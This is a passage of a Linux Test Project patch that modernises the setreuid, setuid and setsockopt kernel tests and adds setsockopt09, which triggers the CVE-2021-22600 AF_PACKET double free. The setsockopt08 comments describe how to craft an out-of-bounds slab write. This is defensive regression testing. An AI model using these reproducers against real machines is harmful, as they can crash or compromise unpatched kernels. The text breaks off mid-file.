- tst_tmpdir(); + ruid = getuid(); + UID16_CHECK(ruid, setreuid); + + euid = geteuid(); + UID16_CHECK(euid, setreuid); + + TST_EXP_PASS(SETREUID(-1, -1)); + TST_EXP_PASS(SETREUID(-1, euid)); + TST_EXP_PASS(SETREUID(ruid, -1)); + TST_EXP_PASS(SETREUID(-1, ruid)); + TST_EXP_PASS(SETREUID(euid, -1)); + TST_EXP_PASS(SETREUID(euid, euid)); + TST_EXP_PASS(SETREUID(ruid, ruid)); } -static void cleanup(void) -{ - tst_rmdir(); -} +static struct tst_test test = { + .test_all = run +}; diff --git a/testcases/kernel/syscalls/setreuid/setreuid04.c b/testcases/kernel/syscalls/setreuid/setreuid04.c index 8eed90df..06ffa32b 100755 --- a/testcases/kernel/syscalls/setreuid/setreuid04.c +++ b/testcases/kernel/syscalls/setreuid/setreuid04.c @@ -1,141 +1,49 @@ +// SPDX-License-Identifier: GPL-2.0-or-later /* * Copyright (c) International Business Machines Corp., 2001 - * - * This program is free software; you can redistribute it and/or modify - * it under the terms of the GNU General Public License as published by - * the Free Software Foundation; either version 2 of the License, or - * (at your option) any later version. - * - * This program is distributed in the hope that it will be useful, - * but WITHOUT ANY WARRANTY; without even the implied warranty of - * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See - * the GNU General Public License for more details. - * - * You should have received a copy of the GNU General Public License - * along with this program; if not, write to the Free Software - * Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA - * * Ported by John George + * Copyright (c) 2022 SUSE LLC Avinesh Kumar */ -/* - * Test that root can change the real and effective uid to an - * unpriviledged user. +/*\ + * [Description] + * + * Verify that root user can change the real and effective uid to an + * unprivileged user. */ -#include -#include #include -#include - -#include "test.h" -#include "compat_16.h" - -TCID_DEFINE(setreuid04); - -static uid_t neg_one = -1; - -static struct passwd nobody, root; - -/* - * The following structure contains all test data. Each structure in the array - * is used for a separate test. The tests are executed in the for loop below. - */ - -struct test_data_t { - uid_t *real_uid; - uid_t *eff_uid; - struct passwd *exp_real_usr; - struct passwd *exp_eff_usr; - char *test_msg; -} test_data[] = { - { - &neg_one, &neg_one, &root, &root, "After setreuid(-1, nobody),"}, { -&nobody.pw_uid, &nobody.pw_uid, &nobody, &nobody, - "After setreuid(-1, -1),"},}; - -int TST_TOTAL = ARRAY_SIZE(test_data); - -static void setup(void); -static void cleanup(void); -static void uid_verify(struct passwd *, struct passwd *, char *); - -int main(int ac, char **av) -{ - int lc; - - tst_parse_opts(ac, av, NULL, NULL); - - setup(); - - for (lc = 0; TEST_LOOPING(lc); lc++) { - int i, pid; - - tst_count = 0; +#include "tst_test.h" +#include "compat_tst_16.h" - if ((pid = FORK_OR_VFORK()) == -1) { - tst_brkm(TBROK, cleanup, "fork failed"); - } else if (pid == 0) { /* child */ - - for (i = 0; i < TST_TOTAL; i++) { - - /* Set the real or effective user id */ - TEST(SETREUID(cleanup, *test_data[i].real_uid, - *test_data[i].eff_uid)); - - if (TEST_RETURN != -1) { - tst_resm(TPASS, "setreuid(%d, %d) " - "succeeded as expected.", - *test_data[i].real_uid, - *test_data[i].eff_uid); - } else { - tst_resm(TFAIL, "setreuid(%d, %d) " - "did not return as expected.", - *test_data[i].real_uid, - *test_data[i].eff_uid); - } - - uid_verify(test_data[i].exp_real_usr, - test_data[i].exp_eff_usr, - test_data[i].test_msg); - } - tst_exit(); - } else { /* parent */ - tst_record_childstatus(cleanup, pid); - } - } - cleanup(); - tst_exit(); -} +static uid_t root_uid, nobody_uid; static void setup(void) { - tst_require_root(); - - tst_sig(FORK, DEF_HANDLER, cleanup); - - if (getpwnam("nobody") == NULL) - tst_brkm(TBROK, NULL, "nobody must be a valid user."); + struct passwd *nobody; - root = *(getpwnam("root")); - UID16_CHECK(root.pw_uid, setreuid, cleanup); + root_uid = getuid(); + nobody = SAFE_GETPWNAM("nobody"); + nobody_uid = nobody->pw_uid; - nobody = *(getpwnam("nobody")); - UID16_CHECK(nobody.pw_uid, setreuid, cleanup); - - TEST_PAUSE; + UID16_CHECK(nobody_uid, setreuid); + UID16_CHECK(root_uid, setreuid); } -static void cleanup(void) +static void run(void) { -} + if (!SAFE_FORK()) { + TST_EXP_PASS(SETREUID(nobody_uid, nobody_uid)); -static void uid_verify(struct passwd *ru, struct passwd *eu, char *when) -{ - if ((getuid() != ru->pw_uid) || (geteuid() != eu->pw_uid)) { - tst_resm(TFAIL, "ERROR: %s real uid = %d; effective uid = %d", - when, getuid(), geteuid()); - tst_resm(TINFO, "Expected: real uid = %d; effective uid = %d", - ru->pw_uid, eu->pw_uid); + TST_EXP_EQ_LI(GETUID(), nobody_uid); + TST_EXP_EQ_LI(GETEUID(), nobody_uid); } + tst_reap_children(); } + +static struct tst_test test = { + .setup = setup, + .test_all = run, + .needs_root = 1, + .forks_child = 1 +}; diff --git a/testcases/kernel/syscalls/setreuid/setreuid06.c b/testcases/kernel/syscalls/setreuid/setreuid06.c index 22acd996..0a094fdc 100755 --- a/testcases/kernel/syscalls/setreuid/setreuid06.c +++ b/testcases/kernel/syscalls/setreuid/setreuid06.c @@ -1,95 +1,52 @@ +// SPDX-License-Identifier: GPL-2.0-later /* * Copyright (c) International Business Machines Corp., 2001 - * - * This program is free software; you can redistribute it and/or modify - * it under the terms of the GNU General Public License as published by - * the Free Software Foundation; either version 2 of the License, or - * (at your option) any later version. - * - * This program is distributed in the hope that it will be useful, - * but WITHOUT ANY WARRANTY; without even the implied warranty of - * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See - * the GNU General Public License for more details. - * - * You should have received a copy of the GNU General Public License - * along with this program; if not, write to the Free Software - * Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA - * * Ported by John George + * Copyright (c) 2023 SUSE LLC Avinesh Kumar */ -/* - * Test that EPERM is set when setreuid is given an invalid user id. +/*\ + * [Description] + * + * Verify that setreuid(2) syscall fails with EPERM errno when the calling + * process is not privileged and a change other than + * (i) swapping the effective user ID with the real user ID, or + * (ii) setting one to the value of the other or + * (iii) setting the effective user ID to the value of the saved set-user-ID + * was specified. */ -#include -#include -#include -#include -#include #include -#include -#include -#include - -#include "test.h" -#include "safe_macros.h" -#include "compat_16.h" - -#define INVAL_USER (USHRT_MAX-2) - -TCID_DEFINE(setreuid06); -int TST_TOTAL = 1; +#include "tst_test.h" +#include "tst_uid.h" +#include "compat_tst_16.h" static struct passwd *ltpuser; +static uid_t other_uid; -static void setup(void); -static void cleanup(void); - -int main(int argc, char **argv) +static void setup(void) { - int lc; + tst_get_uids(&other_uid, 0, 1); - tst_parse_opts(argc, argv, NULL, NULL); + UID16_CHECK(other_uid, setreuid); - setup(); - - for (lc = 0; TEST_LOOPING(lc); lc++) { - tst_count = 0; - - TEST(SETREUID(cleanup, -1, INVAL_USER)); - if (TEST_RETURN != -1) { - tst_resm(TFAIL, "%s did not fail as expected", TCID); - } else if (TEST_ERRNO == EPERM) { - tst_resm(TPASS, "setreuid set errno to EPERM as " - "expected"); - } else { - tst_resm(TFAIL, "setreuid FAILED, expected 1 but " - "returned %d", TEST_ERRNO); - } - - } - cleanup(); - tst_exit(); + ltpuser = SAFE_GETPWNAM("nobody"); + SAFE_SETUID(ltpuser->pw_uid); } -static void setup(void) +static void run(void) { - tst_require_root(); - - tst_sig(FORK, DEF_HANDLER, cleanup); - umask(0); - - ltpuser = getpwnam("nobody"); - if (ltpuser == NULL) - tst_brkm(TBROK, NULL, "nobody must be a valid user."); - - SAFE_SETUID(NULL, ltpuser->pw_uid); - - TEST_PAUSE; + TST_EXP_FAIL(SETREUID(-1, other_uid), EPERM, + "setreuid(%d, %d)", -1, other_uid); + TST_EXP_FAIL(SETREUID(other_uid, -1), EPERM, + "setreuid(%d, %d)", other_uid, -1); + TST_EXP_FAIL(SETREUID(other_uid, other_uid), EPERM, + "setreuid(%d, %d)", other_uid, other_uid); } -static void cleanup(void) -{ -} +static struct tst_test test = { + .setup = setup, + .test_all = run, + .needs_root = 1 +}; diff --git a/testcases/kernel/syscalls/setreuid/setreuid07.c b/testcases/kernel/syscalls/setreuid/setreuid07.c index ff222cd0..5faf3cb7 100755 --- a/testcases/kernel/syscalls/setreuid/setreuid07.c +++ b/testcases/kernel/syscalls/setreuid/setreuid07.c @@ -1,192 +1,64 @@ +// SPDX-License-Identifier: GPL-2.0-later /* * Copyright (c) Kerlabs 2008. * Copyright (c) International Business Machines Corp., 2008 - * - * This program is free software; you can redistribute it and/or modify - * it under the terms of the GNU General Public License as published by - * the Free Software Foundation; either version 2 of the License, or - * (at your option) any later version. - * - * This program is distributed in the hope that it will be useful, - * but WITHOUT ANY WARRANTY; without even the implied warranty of - * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See - * the GNU General Public License for more details. - * - * You should have received a copy of the GNU General Public License - * along with this program; if not, write to the Free Software - * Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA - * * Created by Renaud Lottiaux + * Copyright (c) 2023 SUSE LLC Avinesh Kumar */ -/* +/*\ + * [Description] + * * Check if setreuid behaves correctly with file permissions. * The test creates a file as ROOT with permissions 0644, does a setreuid * and then tries to open the file with RDWR permissions. * The same test is done in a fork to check if new UIDs are correctly - * passed to the son. + * passed to the child process. */ -#include -#include -#include -#include -#include -#include #include +#include -#include "test.h" -#include "safe_macros.h" -#include "compat_16.h" +#include "tst_test.h" +#include "compat_tst_16.h" -TCID_DEFINE(setreuid07); -int TST_TOTAL = 1; +#define TEMPFILE "testfile" -static char testfile[256] = ""; static struct passwd *ltpuser; -static int fd = -1; - -static void setup(void); -static void cleanup(void); -static void do_master_child(void); - -int main(int ac, char **av) +static void setup(void) { - pid_t pid; + int fd; - tst_parse_opts(ac, av, NULL, NULL); + ltpuser = SAFE_GETPWNAM("nobody"); - setup(); - - pid = FORK_OR_VFORK(); - if (pid < 0) - tst_brkm(TBROK, cleanup, "Fork failed"); - - if (pid == 0) - do_master_child(); - - tst_record_childstatus(cleanup, pid); - - cleanup(); - tst_exit(); + UID16_CHECK(ltpuser->pw_uid, setreuid); + fd = SAFE_OPEN(TEMPFILE, O_CREAT | O_RDWR, 0644); + SAFE_CLOSE(fd); } -static void do_master_child(void) +static void run(void) { - int lc; - int pid; - int status; - - for (lc = 0; TEST_LOOPING(lc); lc++) { - int tst_fd; - - tst_count = 0; - - if (SETREUID(NULL, 0, ltpuser->pw_uid) == -1) { - perror("setreuid failed"); - exit(TFAIL); - } - - /* Test 1: Check the process with new uid cannot open the file - * with RDWR permissions. - */ - TEST(tst_fd = open(testfile, O_RDWR)); - - if (TEST_RETURN != -1) { - printf("open succeeded unexpectedly\n"); - close(tst_fd); - exit(TFAIL); - } - - if (TEST_ERRNO == EACCES) { - printf("open failed with EACCES as expected\n"); - } else { - perror("open failed unexpectedly"); - exit(TFAIL); - } - - /* Test 2: Check a son process cannot open the file - * with RDWR permissions. - */ - pid = FORK_OR_VFORK(); - if (pid < 0) - tst_brkm(TBROK, cleanup, "Fork failed"); - - if (pid == 0) { - int tst_fd2; - - /* Test to open the file in son process */ - TEST(tst_fd2 = open(testfile, O_RDWR)); - - if (TEST_RETURN != -1) { - printf("call succeeded unexpectedly\n"); - close(tst_fd2); - exit(TFAIL); - } - - if (TEST_ERRNO == EACCES) { - printf("open failed with EACCES as expected\n"); - exit(TPASS); - } else { - printf("open failed unexpectedly\n"); - exit(TFAIL); - } - } else { - /* Wait for son completion */ - if (waitpid(pid, &status, 0) == -1) { - perror("waitpid failed"); - exit(TFAIL); - } - if (!WIFEXITED(status) || (WEXITSTATUS(status) != 0)) - exit(WEXITSTATUS(status)); - } - - /* Test 3: Fallback to initial uid and check we can again open - * the file with RDWR permissions. - */ - tst_count++; - if (SETREUID(NULL, 0, 0) == -1) { - perror("setreuid failed"); - exit(TFAIL); - } + pid_t pid; - TEST(tst_fd = open(testfile, O_RDWR)); + TST_EXP_PASS_SILENT(SETREUID(-1, ltpuser->pw_uid)); + TST_EXP_FAIL2(open(TEMPFILE, O_RDWR), EACCES); - if (TEST_RETURN == -1) { - perror("open failed unexpectedly"); - exit(TFAIL); - } else { - printf("open call succeeded\n"); - close(tst_fd); - } + pid = SAFE_FORK(); + if (pid == 0) { + TST_EXP_FAIL2(open(TEMPFILE, O_RDWR), EACCES); + exit(0); } - exit(TPASS); -} + tst_reap_children(); -static void setup(void) -{ - tst_require_root(); - - ltpuser = getpwnam("nobody"); - if (ltpuser == NULL) - tst_brkm(TBROK, NULL, "nobody must be a valid user."); - - tst_tmpdir(); - - sprintf(testfile, "setreuid07file%d.tst", getpid()); - - /* Create test file */ - fd = SAFE_OPEN(cleanup, testfile, O_CREAT | O_RDWR, 0644); - - tst_sig(FORK, DEF_HANDLER, cleanup); - - TEST_PAUSE; + TST_EXP_PASS_SILENT(SETREUID(-1, 0)); + TST_EXP_FD(open(TEMPFILE, O_RDWR)); + SAFE_CLOSE(TST_RET); } -static void cleanup(void) -{ - close(fd); - - tst_rmdir(); -} +static struct tst_test test = { + .setup = setup, + .test_all = run, + .needs_root = 1, + .forks_child = 1 +}; diff --git a/testcases/kernel/syscalls/setsockopt/.gitignore b/testcases/kernel/syscalls/setsockopt/.gitignore index 95a5e43f..fd3235bb 100755 --- a/testcases/kernel/syscalls/setsockopt/.gitignore +++ b/testcases/kernel/syscalls/setsockopt/.gitignore @@ -6,3 +6,4 @@ /setsockopt06 /setsockopt07 /setsockopt08 +/setsockopt09 diff --git a/testcases/kernel/syscalls/setsockopt/setsockopt02.c b/testcases/kernel/syscalls/setsockopt/setsockopt02.c index f0a2a5ec..3349c997 100755 --- a/testcases/kernel/syscalls/setsockopt/setsockopt02.c +++ b/testcases/kernel/syscalls/setsockopt/setsockopt02.c @@ -96,5 +96,8 @@ static struct tst_test test = { .needs_root = 1, .setup = setup, .cleanup = cleanup, - .min_kver = "3.2", + .tags = (const struct tst_tag[]) { + {"CVE", "2017-7308"}, + {} + } }; diff --git a/testcases/kernel/syscalls/setsockopt/setsockopt03.c b/testcases/kernel/syscalls/setsockopt/setsockopt03.c index 191c4cdf..210b7542 100755 --- a/testcases/kernel/syscalls/setsockopt/setsockopt03.c +++ b/testcases/kernel/syscalls/setsockopt/setsockopt03.c @@ -74,7 +74,6 @@ static void run(void) } static struct tst_test test = { - .min_kver = "2.6.32", .setup = setup, .test_all = run, .needs_root = 1, diff --git a/testcases/kernel/syscalls/setsockopt/setsockopt05.c b/testcases/kernel/syscalls/setsockopt/setsockopt05.c index 4b8b3d22..3263da98 100755 --- a/testcases/kernel/syscalls/setsockopt/setsockopt05.c +++ b/testcases/kernel/syscalls/setsockopt/setsockopt05.c @@ -17,13 +17,11 @@ * udp: consistently apply ufo or fragmentation */ -#define _GNU_SOURCE #include #include #include #include #include -#include #include "tst_test.h" #include "tst_net.h" @@ -35,18 +33,10 @@ static int dst_sock = -1; static void setup(void) { - int real_uid = getuid(); - int real_gid = getgid(); struct ifreq ifr; socklen_t addrlen = sizeof(addr); - SAFE_TRY_FILE_PRINTF("/proc/sys/user/max_user_namespaces", "%d", 10); - - SAFE_UNSHARE(CLONE_NEWUSER); - SAFE_UNSHARE(CLONE_NEWNET); - SAFE_FILE_PRINTF("/proc/self/setgroups", "deny"); - SAFE_FILE_PRINTF("/proc/self/uid_map", "0 %d 1", real_uid); - SAFE_FILE_PRINTF("/proc/self/gid_map", "0 %d 1", real_gid); + tst_setup_netns(); tst_init_sockaddr_inet_bin(&addr, INADDR_LOOPBACK, 0); dst_sock = SAFE_SOCKET(AF_INET, SOCK_DGRAM, 0); @@ -101,9 +91,9 @@ static struct tst_test test = { "CONFIG_NET_NS=y", NULL }, - .save_restore = (const char * const[]) { - "?/proc/sys/user/max_user_namespaces", - NULL, + .save_restore = (const struct tst_path_val[]) { + {"/proc/sys/user/max_user_namespaces", "1024", TST_SR_SKIP}, + {} }, .tags = (const struct tst_tag[]) { {"linux-git", "85f1bd9a7b5a"}, diff --git a/testcases/kernel/syscalls/setsockopt/setsockopt06.c b/testcases/kernel/syscalls/setsockopt/setsockopt06.c index 12a80dee..00dc69bf 100755 --- a/testcases/kernel/syscalls/setsockopt/setsockopt06.c +++ b/testcases/kernel/syscalls/setsockopt/setsockopt06.c @@ -16,11 +16,9 @@ * packet: fix race condition in packet_set_ring */ -#define _GNU_SOURCE #include #include #include -#include #include "tst_test.h" #include "tst_fuzzy_sync.h" @@ -28,23 +26,15 @@ #include "lapi/if_ether.h" static int sock = -1; +static unsigned int pagesize; static struct tst_fzsync_pair fzsync_pair; static void setup(void) { - int real_uid = getuid(); - int real_gid = getgid(); - - SAFE_TRY_FILE_PRINTF("/proc/sys/user/max_user_namespaces", "%d", 10); - - SAFE_UNSHARE(CLONE_NEWUSER); - SAFE_UNSHARE(CLONE_NEWNET); - SAFE_FILE_PRINTF("/proc/self/setgroups", "deny"); - SAFE_FILE_PRINTF("/proc/self/uid_map", "0 %d 1", real_uid); - SAFE_FILE_PRINTF("/proc/self/gid_map", "0 %d 1", real_gid); + pagesize = SAFE_SYSCONF(_SC_PAGESIZE); + tst_setup_netns(); fzsync_pair.exec_loops = 100000; - fzsync_pair.exec_time_p = 0.9; tst_fzsync_pair_init(&fzsync_pair); } @@ -52,9 +42,9 @@ static void *thread_run(void *arg) { int ret; struct tpacket_req3 req = { - .tp_block_size = 4096, + .tp_block_size = pagesize, .tp_block_nr = 1, - .tp_frame_size = 4096, + .tp_frame_size = pagesize, .tp_frame_nr = 1, .tp_retire_blk_tov = 100 }; @@ -121,15 +111,16 @@ static struct tst_test test = { .test_all = run, .setup = setup, .cleanup = cleanup, + .max_runtime = 270, .taint_check = TST_TAINT_W | TST_TAINT_D, .needs_kconfigs = (const char *[]) { "CONFIG_USER_NS=y", "CONFIG_NET_NS=y", NULL }, - .save_restore = (const char * const[]) { - "?/proc/sys/user/max_user_namespaces", - NULL, + .save_restore = (const struct tst_path_val[]) { + {"/proc/sys/user/max_user_namespaces", "1024", TST_SR_SKIP}, + {} }, .tags = (const struct tst_tag[]) { {"linux-git", "84ac7260236a"}, diff --git a/testcases/kernel/syscalls/setsockopt/setsockopt07.c b/testcases/kernel/syscalls/setsockopt/setsockopt07.c index d2c568e3..f6f94ad9 100755 --- a/testcases/kernel/syscalls/setsockopt/setsockopt07.c +++ b/testcases/kernel/syscalls/setsockopt/setsockopt07.c @@ -19,11 +19,9 @@ * packet: fix tp_reserve race in packet_set_ring */ -#define _GNU_SOURCE #include #include #include -#include #include "tst_test.h" #include "tst_fuzzy_sync.h" @@ -31,20 +29,13 @@ #include "lapi/if_ether.h" static int sock = -1; +static unsigned int pagesize; static struct tst_fzsync_pair fzsync_pair; static void setup(void) { - int real_uid = getuid(); - int real_gid = getgid(); - - SAFE_TRY_FILE_PRINTF("/proc/sys/user/max_user_namespaces", "%d", 10); - - SAFE_UNSHARE(CLONE_NEWUSER); - SAFE_UNSHARE(CLONE_NEWNET); - SAFE_FILE_PRINTF("/proc/self/setgroups", "deny"); - SAFE_FILE_PRINTF("/proc/self/uid_map", "0 %d 1", real_uid); - SAFE_FILE_PRINTF("/proc/self/gid_map", "0 %d 1", real_gid); + pagesize = SAFE_SYSCONF(_SC_PAGESIZE); + tst_setup_netns(); /* * Reproducing the bug on unpatched system takes <15 loops. The test @@ -73,9 +64,9 @@ static void run(void) unsigned int val, version = TPACKET_V3; socklen_t vsize = sizeof(val); struct tpacket_req3 req = { - .tp_block_size = 4096, + .tp_block_size = pagesize, .tp_block_nr = 1, - .tp_frame_size = 4096, + .tp_frame_size = pagesize, .tp_frame_nr = 1, .tp_retire_blk_tov = 100 }; @@ -113,7 +104,7 @@ static void run(void) "Invalid setsockopt() return value"); } - if (val > req.tp_block_size){ + if (val > req.tp_block_size) { tst_res(TFAIL, "PACKET_RESERVE checks bypassed"); return; } @@ -134,14 +125,15 @@ static struct tst_test test = { .test_all = run, .setup = setup, .cleanup = cleanup, + .max_runtime = 150, .needs_kconfigs = (const char *[]) { "CONFIG_USER_NS=y", "CONFIG_NET_NS=y", NULL }, - .save_restore = (const char * const[]) { - "?/proc/sys/user/max_user_namespaces", - NULL, + .save_restore = (const struct tst_path_val[]) { + {"/proc/sys/user/max_user_namespaces", "1024", TST_SR_SKIP}, + {} }, .tags = (const struct tst_tag[]) { {"linux-git", "c27927e372f0"}, diff --git a/testcases/kernel/syscalls/setsockopt/setsockopt08.c b/testcases/kernel/syscalls/setsockopt/setsockopt08.c index 5b648d75..7f8243de 100755 --- a/testcases/kernel/syscalls/setsockopt/setsockopt08.c +++ b/testcases/kernel/syscalls/setsockopt/setsockopt08.c @@ -26,57 +26,63 @@ * ->targetsize: if OTOH the user specified ->u.user.target_size is * too small, then the memset() destination address calculated by * adding ->targetsize to the payload start will not point at, but - * into or even past the padding. For the table's last entry's target - * record, this will result in an out-of-bounds write past the - * destination buffer allocated for the converted table. The code - * below will create a (compat) table such that the converted table's - * calculated size will fit exactly into a slab size of 1024 bytes and - * that the memset() in xt_compat_target_from_user() will write past - * this slab. + * into or even past the padding. + * + * For the table's last entry's target record, this will result in an + * out-of-bounds write past the destination buffer allocated for the converted + * table. The code below will create a (compat) table such that the converted + * table's calculated size will fit exactly into a slab size of 1024 bytes and + * that the memset() in xt_compat_target_from_user() will write past this slab. * * The table will consist of - * - the mandatory struct compat_ipt_replace header, - * - a single entry consisting of - * - the mandatory compat_ipt_entry header - * - a single 'state' match entry of appropriate size for + * + * * the mandatory struct compat_ipt_replace header, + * * a single entry consisting of + * ** the mandatory compat_ipt_entry header + * ** a single 'state' match entry of appropriate size for * controlling the out-of-bounds write when converting * the target entry following next, - * - a single 'REJECT' target entry. + * ** a single 'REJECT' target entry. + * * The kernel will transform this into a buffer containing (in * this order) - * - a xt_table_info - * - a single entry consisting of - * - its ipt_entry header - * - a single 'state' match entry - * - followed by a single 'REJECT' target entry. + * + * * a xt_table_info + * * a single entry consisting of + * ** its ipt_entry header + * ** a single 'state' match entry + * ** followed by a single 'REJECT' target entry. * * The expected sizes for the 'state' match entries as well as the * 'REJECT' target are the size of the base header struct (32 bytes) - * plus the size of an unsigned int (4 bytes) each. In the course of - * the compat => non-compat conversion, the kernel will insert four - * bytes of padding after the unsigned int payload (c.f. 'off' - * adjustments via xt_compat_match_offset() and - * xt_compat_target_offset() in xt_compat_match_from_user() and - * xt_compat_target_from_user() resp.). This code is based on the - * premise that the user sets the given ->u.user.match_size or - * ->u.user.target_size consistent to the COMPAT_XT_ALIGN()ed payload - * size as specified by the corresponding xt_match instance's - * ->matchsize or xt_target instance's ->targetsize. That is, the - * padding gets inserted unconditionally during the transformation, + * plus the size of an unsigned int (4 bytes) each. + * + * In the course of the compat => non-compat conversion, the kernel will insert + * four bytes of padding after the unsigned int payload (c.f. 'off' adjustments + * via xt_compat_match_offset() and xt_compat_target_offset() in + * xt_compat_match_from_user() and xt_compat_target_from_user() resp.). + * + * This code is based on the premise that the user sets the given + * ->u.user.match_size or ->u.user.target_size consistent to the + * COMPAT_XT_ALIGN()ed payload size as specified by the corresponding xt_match + * instance's ->matchsize or xt_target instance's ->targetsize. + * + * That is, the padding gets inserted unconditionally during the transformation, * independent of the actual values of ->u.user.match_size or - * ->u.user.target_size and the result ends up getting layed out with - * proper alignment only if said values match the expectations. That's - * not a problem in itself, but this unconditional insertion of - * padding must be taken into account in the match_size calculation - * below. + * ->u.user.target_size and the result ends up getting layed out with proper + * alignment only if said values match the expectations. + * + * That's not a problem in itself, but this unconditional insertion of padding + * must be taken into account in the match_size calculation below. * * For the match_size calculation below, note that the chosen * target slab size is 1024 and that - * - sizeof(xt_table_info) = 64 - * - sizeof(ipt_entry) = 112 - * - the kernel will insert four bytes of padding + * + * * sizeof(xt_table_info) = 64 + * * sizeof(ipt_entry) = 112 + * * the kernel will insert four bytes of padding * after the match and target entries each. - * - sizeof(struct xt_entry_target) = 32 + * * sizeof(struct xt_entry_target) = 32 */ #include @@ -84,7 +90,6 @@ #include "tst_test.h" #include "tst_safe_net.h" #include "lapi/ip_tables.h" -#include "lapi/namespaces_constants.h" static void *buffer; @@ -95,10 +100,7 @@ void setup(void) "The vulnerability was only present in 32-bit compat mode"); } - SAFE_TRY_FILE_PRINTF("/proc/sys/user/max_user_namespaces", "%d", 10); - - SAFE_UNSHARE(CLONE_NEWUSER); - SAFE_UNSHARE(CLONE_NEWNET); + tst_setup_netns(); } void run(void) @@ -158,9 +160,9 @@ static struct tst_test test = { "CONFIG_NET_NS=y", NULL }, - .save_restore = (const char * const[]) { - "?/proc/sys/user/max_user_namespaces", - NULL, + .save_restore = (const struct tst_path_val[]) { + {"/proc/sys/user/max_user_namespaces", "1024", TST_SR_SKIP}, + {} }, .tags = (const struct tst_tag[]) { {"linux-git", "b29c457a6511"}, diff --git a/testcases/kernel/syscalls/setsockopt/setsockopt09.c b/testcases/kernel/syscalls/setsockopt/setsockopt09.c new file mode 100644 index 00000000..9ed80e46 --- /dev/null +++ b/testcases/kernel/syscalls/setsockopt/setsockopt09.c @@ -0,0 +1,125 @@ +// SPDX-License-Identifier: GPL-2.0-or-later +/* + * Copyright (c) 2022 SUSE LLC + * Author: Marcos Paulo de Souza + * LTP port: Martin Doucha + */ + +/*\ + * [Description] + * + * Check for possible double free of rx_owner_map after switching packet + * interface versions aka CVE-2021-22600. + * + * Kernel crash fixed in: + * + * commit ec6af094ea28f0f2dda1a6a33b14cd57e36a9755 + * Author: Willem de Bruijn + * Date: Wed Dec 15 09:39:37 2021 -0500 + * + * net/packet: rx_owner_map depends on pg_vec + * + * commit c800aaf8d869f2b9b47b10c5c312fe19f0a94042 + * Author: WANG Cong + * Date: Mon Jul 24 10:07:32 2017 -0700 + * + * packet: fix use-after-free in prb_retire_rx_blk_timer_expired() + */ + +#include +#include +#include + +#include "tst_test.h" +#include "lapi/if_packet.h" + +static int sock = -1; +static unsigned int pagesize; + +static void setup(void) +{ + pagesize = SAFE_SYSCONF(_SC_PAGESIZE); + tst_setup_netns(); +} + +static void run(void) +{ + unsigned int i, version = TPACKET_V3; + struct tpacket_req3 req = { + .tp_block_size = 4 * pagesize, + .tp_frame_size = TPACKET_ALIGNMENT << 7, + .tp_retire_blk_tov = 64, + .tp_feature_req_word = TP_FT_REQ_FILL_RXHASH + }; + + for (i = 0; i < 5; i++) { + req.tp_block_nr = 256; + req.tp_frame_nr = req.tp_block_size * req.tp_block_nr; + req.tp_frame_nr /= req.tp_frame_size; + + sock = SAFE_SOCKET(AF_PACKET, SOCK_RAW, 0); + TEST(setsockopt(sock, SOL_PACKET, PACKET_VERSION, &version, + sizeof(version))); + + if (TST_RET == -1 && TST_ERR == EINVAL) + tst_brk(TCONF | TTERRNO, "TPACKET_V3 not supported"); + + if (TST_RET) { + tst_brk(TBROK | TTERRNO, + "setsockopt(PACKET_VERSION, TPACKET_V3)"); + } + + /* Allocate owner map and then free it again */ + SAFE_SETSOCKOPT(sock, SOL_PACKET, PACKET_RX_RING, &req, + sizeof(req)); + req.tp_block_nr = 0; + req.tp_frame_nr = 0; + SAFE_SETSOCKOPT(sock, SOL_PACKET, PACKET_RX_RING, &req, + sizeof(req)); + + /* Switch packet version and trigger double free of owner map */ + SAFE_SETSOCKOPT_INT(sock, SOL_PACKET, PACKET_VERSION, + TPACKET_V2); + SAFE_SETSOCKOPT(sock, SOL_PACKET, PACKET_RX_RING, &req, + sizeof(req)); + SAFE_CLOSE(sock); + + /* Wait for socket timer to expire just in case */ + usleep(req.tp_retire_blk_tov * 3000); + + if (tst_taint_check()) { + tst_res(TFAIL, "Kernel is vulnerable"); + return; + } + } + + tst_res(TPASS, "Nothing bad happened, probably"); +} + +static void cleanup(void) +{ + if (sock >= 0) + SAFE_CLOSE(sock); +} + +static struct tst_test test = { + .test_all = run, + .setup = setup, + .cleanup = cleanup, + .taint_check = TST_TAINT_W | TST_TAINT_D, + .needs_kconfigs = (const char *[]) { + "CONFIG_USER_NS=y", + "CONFIG_NET_NS=y", + NULL + }, + .save_restore = (const struct tst_path_val[]) { + {"/proc/sys/user/max_user_namespaces", "1024", TST_SR_SKIP}, + {} + }, + .tags = (const struct tst_tag[]) { + {"linux-git", "ec6af094ea28"}, + {"linux-git", "c800aaf8d869"}, + {"CVE", "2021-22600"}, + {} + } +}; diff --git a/testcases/kernel/syscalls/setuid/setuid01.c b/testcases/kernel/syscalls/setuid/setuid01.c index 0a0a03a4..c136444c 100755 --- a/testcases/kernel/syscalls/setuid/setuid01.c +++ b/testcases/kernel/syscalls/setuid/setuid01.c @@ -1,12 +1,14 @@ // SPDX-License-Identifier: GPL-2.0-or-later /* * Copyright (c) International Business Machines Corp., 2001 + * Copyright (c) Linux Test Project, 2009-2022 */ -/* DESCRIPTION - * This test will verify that setuid(2) syscall basic functionality. - * setuid(2) returns a value of 0 and uid has been set successfully - * as a normal or super user. +/*\ + * [Description] + * + * Verify that setuid(2) returns 0 and effective uid has + * been set successfully as a normal or super user. */ #include @@ -19,15 +21,10 @@ static void verify_setuid(void) { uid_t uid; - /* Set the effective user ID to the current real uid */ uid = getuid(); UID16_CHECK(uid, setuid); - TEST(SETUID(uid)); - if (TST_RET == -1) - tst_res(TFAIL | TTERRNO, "setuid(%d) failed", uid); - else - tst_res(TPASS, "setuid(%d) successfully", uid); + TST_EXP_PASS(SETUID(uid), "setuid(%d)", uid); } static struct tst_test test = { diff --git a/testcases/kernel/syscalls/setuid/setuid03.c b/testcases/kernel/syscalls/setuid/setuid03.c index f2e007f8..06934f14 100755 --- a/testcases/kernel/syscalls/setuid/setuid03.c +++ b/testcases/kernel/syscalls/setuid/setuid03.c @@ -1,9 +1,12 @@ // SPDX-License-Identifier: GPL-2.0-or-later /* * Copyright (c) International Business Machines Corp., 2001 + * Copyright (c) Linux Test Project, 